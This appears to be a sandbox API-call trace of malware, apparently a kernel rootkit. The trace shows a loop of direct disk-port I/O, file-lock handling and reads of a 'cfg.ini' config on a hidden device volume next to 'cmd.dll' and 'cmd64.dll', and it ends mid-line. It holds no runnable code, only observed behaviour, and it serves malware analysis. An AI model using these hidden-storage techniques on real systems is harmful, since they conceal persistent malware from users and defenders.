ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.443] KeLeaveCriticalRegion () [0120.443] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.443] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.443] KeEnterCriticalRegion () [0120.443] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.443] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.443] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.443] KeLeaveCriticalRegion () [0120.443] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.443] KeEnterCriticalRegion () [0120.443] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.443] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.443] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.443] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.443] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.443] IdePortDispatch () returned 0x103 [0120.443] KeWaitForMutexObject () returned 0x0 [0120.443] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.443] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.443] KeLeaveCriticalRegion () [0120.443] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.443] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.443] KeEnterCriticalRegion () [0120.443] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.443] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800346a000 [0120.443] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.443] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.443] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.443] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.443] IdePortDispatch () returned 0x103 [0120.443] KeWaitForMutexObject () returned 0x0 [0120.444] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.444] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.444] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.444] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.444] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.444] IdePortDispatch () returned 0x103 [0120.444] KeWaitForMutexObject () returned 0x0 [0120.444] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.444] KeLeaveCriticalRegion () [0120.444] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.444] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.444] KeEnterCriticalRegion () [0120.444] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.444] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.444] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.444] KeLeaveCriticalRegion () [0120.445] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.445] KeEnterCriticalRegion () [0120.445] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.445] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.445] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbae80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.445] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.445] KeLeaveCriticalRegion () [0120.445] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.445] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.445] KeEnterCriticalRegion () [0120.445] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.445] ExFreePoolWithTag (P=0xfffffa8003bc9a90, Tag=0x0) [0120.445] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.445] KeLeaveCriticalRegion () [0120.445] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.445] ReleaseMutex (hMutex=0xf0) returned 1 [0120.445] Sleep (dwMilliseconds=0x124f80) [0120.460] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.460] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.460] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.460] KeEnterCriticalRegion () [0120.460] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.460] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.460] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.460] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.460] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.460] IdePortDispatch () returned 0x103 [0120.460] KeWaitForMutexObject () returned 0x0 [0120.461] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.461] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.461] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.461] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.461] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.461] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba910 [0120.461] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.461] KeLeaveCriticalRegion () [0120.461] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.461] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.461] KeEnterCriticalRegion () [0120.461] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.461] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.461] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.461] KeLeaveCriticalRegion () [0120.461] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.461] KeEnterCriticalRegion () [0120.461] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.461] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.461] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.461] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.461] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.461] IdePortDispatch () returned 0x103 [0120.461] KeWaitForMutexObject () returned 0x0 [0120.461] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.461] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.461] KeLeaveCriticalRegion () [0120.461] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.461] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.461] KeEnterCriticalRegion () [0120.461] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.462] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800346f000 [0120.462] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.462] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.462] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.462] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.462] IdePortDispatch () returned 0x103 [0120.462] KeWaitForMutexObject () returned 0x0 [0120.462] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.462] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.462] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.462] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.462] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.462] IdePortDispatch () returned 0x103 [0120.462] KeWaitForMutexObject () returned 0x0 [0120.462] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.462] KeLeaveCriticalRegion () [0120.462] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.463] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.463] KeEnterCriticalRegion () [0120.463] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.463] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.463] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.463] KeLeaveCriticalRegion () [0120.463] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.463] KeEnterCriticalRegion () [0120.463] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.463] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.463] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbc140, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.463] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.463] KeLeaveCriticalRegion () [0120.463] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.463] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.463] KeEnterCriticalRegion () [0120.463] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.463] ExFreePoolWithTag (P=0xfffffa8003bba910, Tag=0x0) [0120.463] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.463] KeLeaveCriticalRegion () [0120.463] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.463] ReleaseMutex (hMutex=0xf0) returned 1 [0120.463] Sleep (dwMilliseconds=0x124f80) [0120.477] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.477] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.477] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.477] KeEnterCriticalRegion () [0120.477] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.477] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.477] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.477] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.477] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.477] IdePortDispatch () returned 0x103 [0120.477] KeWaitForMutexObject () returned 0x0 [0120.477] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.477] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.477] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.477] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.477] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.478] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbaf10 [0120.478] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.478] KeLeaveCriticalRegion () [0120.478] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.478] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.478] KeEnterCriticalRegion () [0120.478] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.478] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.478] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.478] KeLeaveCriticalRegion () [0120.478] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.478] KeEnterCriticalRegion () [0120.478] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.478] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.478] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.478] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.478] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.478] IdePortDispatch () returned 0x103 [0120.478] KeWaitForMutexObject () returned 0x0 [0120.478] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.478] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.478] KeLeaveCriticalRegion () [0120.478] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.478] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.478] KeEnterCriticalRegion () [0120.478] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.478] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003474000 [0120.478] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.478] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.478] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.478] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.478] IdePortDispatch () returned 0x103 [0120.478] KeWaitForMutexObject () returned 0x0 [0120.479] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.479] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.479] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.479] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.479] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.479] IdePortDispatch () returned 0x103 [0120.479] KeWaitForMutexObject () returned 0x0 [0120.479] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.479] KeLeaveCriticalRegion () [0120.479] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.479] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.479] KeEnterCriticalRegion () [0120.479] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.479] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.479] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.479] KeLeaveCriticalRegion () [0120.480] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.480] KeEnterCriticalRegion () [0120.480] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.480] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.480] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbc140, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.480] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.480] KeLeaveCriticalRegion () [0120.480] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.480] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.480] KeEnterCriticalRegion () [0120.480] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.480] ExFreePoolWithTag (P=0xfffffa8003bbaf10, Tag=0x0) [0120.480] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.480] KeLeaveCriticalRegion () [0120.480] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.480] ReleaseMutex (hMutex=0xf0) returned 1 [0120.480] Sleep (dwMilliseconds=0x124f80) [0120.495] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.495] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.495] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.495] KeEnterCriticalRegion () [0120.495] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.495] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.495] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.495] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.495] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.495] IdePortDispatch () returned 0x103 [0120.495] KeWaitForMutexObject () returned 0x0 [0120.495] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.495] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.495] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.495] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.495] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.495] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba600 [0120.495] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.495] KeLeaveCriticalRegion () [0120.495] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.496] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.496] KeEnterCriticalRegion () [0120.496] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.496] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.496] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.496] KeLeaveCriticalRegion () [0120.496] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.496] KeEnterCriticalRegion () [0120.496] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.496] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.496] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.496] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.496] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.496] IdePortDispatch () returned 0x103 [0120.496] KeWaitForMutexObject () returned 0x0 [0120.496] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.496] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.496] KeLeaveCriticalRegion () [0120.496] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.496] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.496] KeEnterCriticalRegion () [0120.496] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.496] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003479000 [0120.496] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.496] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.496] 